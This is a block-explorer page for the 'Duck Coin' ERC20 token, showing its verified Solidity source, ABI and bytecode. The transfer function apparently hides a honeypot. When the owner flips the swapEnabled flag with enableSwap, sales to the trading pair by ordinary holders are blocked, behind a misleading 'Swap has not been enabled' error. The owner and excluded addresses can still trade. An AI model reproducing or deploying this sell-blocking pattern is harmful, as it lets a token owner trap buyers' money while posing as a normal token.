ETH Price: $3,158.35 (+1.96%)

Token

Duck Coin (🦆🦆🦆)
 

Overview

Max Total Supply

100,000,000 🦆🦆🦆

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
937,356.147572947535777034 🦆🦆🦆

Value
$0.00
0xc30d8c1ea76e09afb03bebe7f37b5036e20de1a7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DUCK

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : contract.sol
/*

Website - https://duckcoin.vip/

Telegram - https://t.me/duckcoinerc

Twitter - https://twitter.com/DuckCoinErc

*/

// SPDX-License-Identifier: NONE
pragma solidity ^0.8.18;

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(from, to, amount);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}



interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract DUCK is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    string private _name = "Duck Coin";
    string private _symbol = unicode"🦆🦆🦆";
    bool private swapping;
    mapping(address => bool) private isExcludedFromFees;
    mapping(address => bool) private isExcludedMaxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public buyFee;
    uint256 public sellFee;
    uint256 public maxTransactionAmount;
    uint256 public maxWallet;
    bool public startTrade = false;
    bool public swapEnabled = false;
    bool public limitsInEffect = true;
    address public uniswapV2Pair;
    address private constant DEAD = address(0xdead);
    address private constant ZERO = address(0);
    address public marketingWallet;
    mapping(address => bool) private pairs;

    constructor() ERC20(_name, _symbol) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        excludeFromMaxTransactionAmount(address(_uniswapV2Router), true);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        pairs[address(uniswapV2Pair)] = true;
        excludeFromMaxTransactionAmount(address(uniswapV2Pair), true);
        uint256 totalSupply = 100000000 * 10**decimals();
        buyFee = 0;
        sellFee = 0;
        maxTransactionAmount = totalSupply;
        maxWallet = totalSupply;
        swapTokensAtAmount = totalSupply.mul(1).div(100);
        marketingWallet = address(0x1b1df147CF0E1871c649205ad02E106d01BdA00c);
        excludeFromMaxTransactionAmount(owner(), true);
        excludeFromMaxTransactionAmount(address(this), true);
        excludeFromMaxTransactionAmount(DEAD, true);
        excludeFromMaxTransactionAmount(marketingWallet, true);
        _mint(_msgSender(), totalSupply.mul(100).div(100));
    }

    receive() external payable {}
    function excludeFromMaxTransactionAmount(address _address, bool excluded) public onlyOwner {
        isExcludedMaxTransactionAmount[_address] = excluded;
    }

function _transfer(address from, address to, uint256 amount) internal override {
    require(from != ZERO, "ERC20: transfer from the zero address.");
    require(to != DEAD, "ERC20: transfer to the zero address.");
    require(amount > 0, "ERC20: transfer amount must be greater than zero.");

    if (from != owner() && to != owner() && to != ZERO && to != DEAD && !swapping) {
        if (!startTrade) {
            require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading is not active.");
        }

        if (limitsInEffect) {
            if (pairs[from] && !isExcludedMaxTransactionAmount[to]) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the max transaction amount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded.");
            } else if (pairs[to] && !isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the max transaction amount.");
                require(!swapEnabled, "Swap has not been enabled.");
            } else if (!isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded.");
            }
        }
    }

    bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
    if (
        canSwap &&
        swapEnabled &&
        !swapping &&
        !pairs[from] &&
        !isExcludedFromFees[from] &&
        !isExcludedFromFees[to]
    ) {
        swapping = true;
        swapBack(false);
        swapping = false;
    }

    bool takeFee = !swapping;

    if (isExcludedFromFees[from] || isExcludedFromFees[to]) {
        takeFee = false;
    }

    uint256 fees = 0;
    if (takeFee) {
        if(pairs[to] || pairs[from]) {
            fees = amount.mul(buyFee).div(100);
        }
        if (pairs[to] && buyFee > 0) {
            fees = amount.mul(buyFee).div(100);
        } else if (pairs[from] && sellFee > 0) {
            fees = amount.mul(sellFee).div(100);
        }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
    super._transfer(from, to, amount);
}

    function enableSwap() external onlyOwner {
            swapEnabled = !swapEnabled;
    }

    function swapBack(bool _manualSwap) private {
        uint256 contractBalance = balanceOf(address(this));
        bool success;

        if (contractBalance == 0) {
            return;
        }

        if (_manualSwap == false && contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        swapTokensForEth(contractBalance);
        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
    }

        function enableTrade() external onlyOwner {
        require(!startTrade, "Trading is already open");
        startTrade = true;
        }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526009608090815268223ab1b59021b7b4b760b91b60a0526007906200002a908262000782565b5060408051808201909152600c81526b784fd343784fd343784fd34360a11b60208201526008906200005d908262000782565b506011805462ffffff1916620100001790553480156200007c57600080fd5b50600780546200008c90620006f4565b80601f0160208091040260200160405190810160405280929190818152602001828054620000ba90620006f4565b80156200010b5780601f10620000df576101008083540402835291602001916200010b565b820191906000526020600020905b815481529060010190602001808311620000ed57829003601f168201915b5050505050600880546200011f90620006f4565b80601f01602080910402602001604051908101604052809291908181526020018280546200014d90620006f4565b80156200019e5780601f1062000172576101008083540402835291602001916200019e565b820191906000526020600020905b8154815290600101906020018083116200018057829003601f168201915b50505050508160039081620001b4919062000782565b506004620001c3828262000782565b505050620001e0620001da6200050460201b60201c565b62000508565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620002168160016200055a565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029091906200084e565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031991906200084e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000367573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038d91906200084e565b601180546301000000600160b81b03191663010000006001600160a01b0393841681029190911780835581900483166000908152601360205260409020805460ff191660019081179091559154620003ea9391900416906200055a565b6000620003fa6012600a62000993565b6200040a906305f5e100620009a4565b6000600d819055600e55600f819055601081905590506200045360646200043f8360016200058f602090811b6200066917901c565b620005a660201b6200067c1790919060201c565b600c55601280546001600160a01b031916731b1df147cf0e1871c649205ad02e106d01bda00c1790556200049b620004936005546001600160a01b031690565b60016200055a565b620004a83060016200055a565b620004b761dead60016200055a565b601254620004d0906001600160a01b031660016200055a565b620004fc33620004f660646200043f6064866200058f60201b620006691790919060201c565b620005b4565b5050620009f7565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b620005646200067b565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b60006200059d8284620009a4565b90505b92915050565b60006200059d8284620009be565b6001600160a01b038216620006105760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060026000828254620006249190620009e1565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6005546001600160a01b03163314620006d75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000607565b565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200070957607f821691505b6020821081036200072a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006d957600081815260208120601f850160051c81016020861015620007595750805b601f850160051c820191505b818110156200077a5782815560010162000765565b505050505050565b81516001600160401b038111156200079e576200079e620006de565b620007b681620007af8454620006f4565b8462000730565b602080601f831160018114620007ee5760008415620007d55750858301515b600019600386901b1c1916600185901b1785556200077a565b600085815260208120601f198616915b828110156200081f57888601518255948401946001909101908401620007fe565b50858210156200083e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200086157600080fd5b81516001600160a01b03811681146200087957600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620008d7578160001904821115620008bb57620008bb62000880565b80851615620008c957918102915b93841c93908002906200089b565b509250929050565b600082620008f057506001620005a0565b81620008ff57506000620005a0565b8160018114620009185760028114620009235762000943565b6001915050620005a0565b60ff84111562000937576200093762000880565b50506001821b620005a0565b5060208310610133831016604e8410600b841016171562000968575081810a620005a0565b62000974838362000896565b80600019048211156200098b576200098b62000880565b029392505050565b60006200059d60ff841683620008df565b8082028115828204841417620005a057620005a062000880565b600082620009dc57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620005a057620005a062000880565b6116d28062000a076000396000f3fe6080604052600436106101695760003560e01c80634a62bb65116100d15780638da5cb5b1161008a578063c8c8ebe411610064578063c8c8ebe414610419578063dd62ed3e1461042f578063e2f4560514610475578063f8b45b051461048b57600080fd5b80638da5cb5b146103c657806395d89b41146103e4578063a9059cbb146103f957600080fd5b80634a62bb65146103025780636c580801146103225780636ddd17131461033c57806370a082311461035b578063715018a61461039157806375f0a874146103a657600080fd5b80632969144811610123578063296914481461025e5780632ae2f121146102735780632b14ca5614610293578063313ce567146102a957806347062402146102c557806349bd5a5e146102db57600080fd5b806299d3861461017557806306fdde031461018c578063095ea7b3146101b75780631694505e146101e757806318160ddd1461021f57806323b872dd1461023e57600080fd5b3661017057005b600080fd5b34801561018157600080fd5b5061018a6104a1565b005b34801561019857600080fd5b506101a1610510565b6040516101ae91906113ed565b60405180910390f35b3480156101c357600080fd5b506101d76101d2366004611453565b6105a2565b60405190151581526020016101ae565b3480156101f357600080fd5b50600654610207906001600160a01b031681565b6040516001600160a01b0390911681526020016101ae565b34801561022b57600080fd5b506002545b6040519081526020016101ae565b34801561024a57600080fd5b506101d761025936600461147f565b6105bc565b34801561026a57600080fd5b5061018a6105e0565b34801561027f57600080fd5b5061018a61028e3660046114c0565b610605565b34801561029f57600080fd5b50610230600e5481565b3480156102b557600080fd5b50604051601281526020016101ae565b3480156102d157600080fd5b50610230600d5481565b3480156102e757600080fd5b5060115461020790630100000090046001600160a01b031681565b34801561030e57600080fd5b506011546101d79062010000900460ff1681565b34801561032e57600080fd5b506011546101d79060ff1681565b34801561034857600080fd5b506011546101d790610100900460ff1681565b34801561036757600080fd5b506102306103763660046114fe565b6001600160a01b031660009081526020819052604090205490565b34801561039d57600080fd5b5061018a610638565b3480156103b257600080fd5b50601254610207906001600160a01b031681565b3480156103d257600080fd5b506005546001600160a01b0316610207565b3480156103f057600080fd5b506101a161064c565b34801561040557600080fd5b506101d7610414366004611453565b61065b565b34801561042557600080fd5b50610230600f5481565b34801561043b57600080fd5b5061023061044a36600461151b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561048157600080fd5b50610230600c5481565b34801561049757600080fd5b5061023060105481565b6104a9610688565b60115460ff16156105015760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b6011805460ff19166001179055565b60606003805461051f90611549565b80601f016020809104026020016040519081016040528092919081815260200182805461054b90611549565b80156105985780601f1061056d57610100808354040283529160200191610598565b820191906000526020600020905b81548152906001019060200180831161057b57829003601f168201915b5050505050905090565b6000336105b08185856106e2565b60019150505b92915050565b6000336105ca858285610806565b6105d5858585610898565b506001949350505050565b6105e8610688565b6011805461ff001981166101009182900460ff1615909102179055565b61060d610688565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b610640610688565b61064a6000611002565b565b60606004805461051f90611549565b6000336105b0818585610898565b60006106758284611599565b9392505050565b600061067582846115b0565b6005546001600160a01b0316331461064a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104f8565b6001600160a01b0383166107445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f8565b6001600160a01b0382166107a55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f8565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03838116600090815260016020908152604080832093861683529290522054600019811461089257818110156108855760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104f8565b61089284848484036106e2565b50505050565b6001600160a01b0383166108fd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015265323932b9b99760d11b60648201526084016104f8565b61deac196001600160a01b038316016109645760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526332b9b99760e11b60648201526084016104f8565b600081116109ce5760405162461bcd60e51b815260206004820152603160248201527f45524332303a207472616e7366657220616d6f756e74206d75737420626520676044820152703932b0ba32b9103a3430b7103d32b9379760791b60648201526084016104f8565b6005546001600160a01b038481169116148015906109fa57506005546001600160a01b03838116911614155b8015610a0e57506001600160a01b03821615155b8015610a2557506001600160a01b03821661dead14155b8015610a34575060095460ff16155b15610da75760115460ff16610ac7576001600160a01b0383166000908152600a602052604090205460ff1680610a8257506001600160a01b0382166000908152600a602052604090205460ff165b610ac75760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016104f8565b60115462010000900460ff1615610da7576001600160a01b03831660009081526013602052604090205460ff168015610b1957506001600160a01b0382166000908152600b602052604090205460ff16155b15610c0657600f54811115610b965760405162461bcd60e51b815260206004820152603760248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f6d6178207472616e73616374696f6e20616d6f756e742e00000000000000000060648201526084016104f8565b6010546001600160a01b038316600090815260208190526040902054610bbc90836115d2565b1115610c015760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b60448201526064016104f8565b610da7565b6001600160a01b03821660009081526013602052604090205460ff168015610c4757506001600160a01b0383166000908152600b602052604090205460ff16155b15610d1c57600f54811115610cc45760405162461bcd60e51b815260206004820152603860248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201527f206d6178207472616e73616374696f6e20616d6f756e742e000000000000000060648201526084016104f8565b601154610100900460ff1615610c015760405162461bcd60e51b815260206004820152601a60248201527f5377617020686173206e6f74206265656e20656e61626c65642e00000000000060448201526064016104f8565b6001600160a01b0382166000908152600b602052604090205460ff16610da7576010546001600160a01b038316600090815260208190526040902054610d6290836115d2565b1115610da75760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b60448201526064016104f8565b600c5430600090815260208190526040902054108015908190610dd15750601154610100900460ff165b8015610de0575060095460ff16155b8015610e0557506001600160a01b03841660009081526013602052604090205460ff16155b8015610e2a57506001600160a01b0384166000908152600a602052604090205460ff16155b8015610e4f57506001600160a01b0383166000908152600a602052604090205460ff16155b15610e76576009805460ff19166001179055610e6b6000611054565b6009805460ff191690555b6009546001600160a01b0385166000908152600a602052604090205460ff91821615911680610ebd57506001600160a01b0384166000908152600a602052604090205460ff165b15610ec6575060005b60008115610fef576001600160a01b03851660009081526013602052604090205460ff1680610f0d57506001600160a01b03861660009081526013602052604090205460ff165b15610f3557610f326064610f2c600d548761066990919063ffffffff16565b9061067c565b90505b6001600160a01b03851660009081526013602052604090205460ff168015610f5f57506000600d54115b15610f8557610f7e6064610f2c600d548761066990919063ffffffff16565b9050610fd1565b6001600160a01b03861660009081526013602052604090205460ff168015610faf57506000600e54115b15610fd157610fce6064610f2c600e548761066990919063ffffffff16565b90505b8015610fe257610fe28630836110f7565b610fec81856115e5565b93505b610ffa8686866110f7565b505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b306000908152602081905260408120549081810361107157505050565b8215801561108b5750600c54611088906014611599565b82115b156110a157600c5461109e906014611599565b91505b6110aa8261129b565b6012546040516001600160a01b03909116904790600081818185875af1925050503d8060008114610ffa576040519150601f19603f3d011682016040523d82523d6000602084013e610ffa565b6001600160a01b03831661115b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f8565b6001600160a01b0382166111bd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f8565b6001600160a01b038316600090815260208190526040902054818110156112355760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104f8565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610892565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106112d0576112d06115f8565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611329573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134d919061160e565b81600181518110611360576113606115f8565b6001600160a01b03928316602091820292909201015260065461138691309116846106e2565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bf90859060009086903090429060040161162b565b600060405180830381600087803b1580156113d957600080fd5b505af1158015610ffa573d6000803e3d6000fd5b600060208083528351808285015260005b8181101561141a578581018301518582016040015282016113fe565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461145057600080fd5b50565b6000806040838503121561146657600080fd5b82356114718161143b565b946020939093013593505050565b60008060006060848603121561149457600080fd5b833561149f8161143b565b925060208401356114af8161143b565b929592945050506040919091013590565b600080604083850312156114d357600080fd5b82356114de8161143b565b9150602083013580151581146114f357600080fd5b809150509250929050565b60006020828403121561151057600080fd5b81356106758161143b565b6000806040838503121561152e57600080fd5b82356115398161143b565b915060208301356114f38161143b565b600181811c9082168061155d57607f821691505b60208210810361157d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176105b6576105b6611583565b6000826115cd57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156105b6576105b6611583565b818103818111156105b6576105b6611583565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561162057600080fd5b81516106758161143b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561167b5784516001600160a01b031683529383019391830191600101611656565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204bb5ad831b224c22b1ea7c89b12f143ccbea687d42b12eb54139b77328212b4564736f6c63430008120033

Deployed Bytecode

